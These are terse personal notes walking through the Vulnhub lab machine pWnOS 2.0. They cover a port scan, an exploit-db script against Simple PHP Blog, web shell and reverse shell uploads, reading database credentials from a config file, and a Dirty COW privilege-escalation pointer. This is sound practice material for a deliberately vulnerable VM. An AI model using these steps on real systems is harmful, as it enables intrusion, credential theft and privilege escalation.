Vulnhub: pWnOS: 2.0 (Pre-Release)

source: https://www.vulnhub.com/entry/pwnos-20-pre-release,34/

change to dhcp:
init=/bin/bash
mount -o remount,rw /
vim /etc/network/interfaces
then reboot

192.168.1.8

22/tcp open  ssh     OpenSSH 5.8p1 Debian 1ubuntu3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.2.17 ((Ubuntu))

maybe ubuntu 12.04

/info/
/info.php
/login/
/register
/activate
/blog
/includes

PHP Version 5.3.5-1ubuntu7

http://192.168.1.8/blog/

https://www.exploit-db.com/exploits/1191
Simple PHP Blog 0.4.0 - Multiple Remote s

perl ./1191.pl -h http://192.168.1.8/blog -e 1
perl ./1191.pl -h http://192.168.1.8/blog -e 3 -U foo -P bar

http://192.168.1.8/blog/images/cmd.php?cmd=id

reverse shell:
login, upload rs.php
http://192.168.1.8/blog/images/rs.php

Linux web 2.6.38-8-server #42-Ubuntu SMP Mon Apr 11 03:49:04 UTC 2011 x86_64 x86_64 x86_64 GNU/Linux
DISTRIB_DESCRIPTION="Ubuntu 11.04"

dan:x:1000:1000:Dan Privett,,,:/home/dan:/bin/bash

cat /var/www/mysqli_connect.php
DEFINE ('DB_USER', 'root');
DEFINE ('DB_PASSWORD', 'goodday');

mysql -uroot -pgoodday -e “SHOW DATABASES”
ERROR 1045

https://www.exploit-db.com/exploits/40839
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method)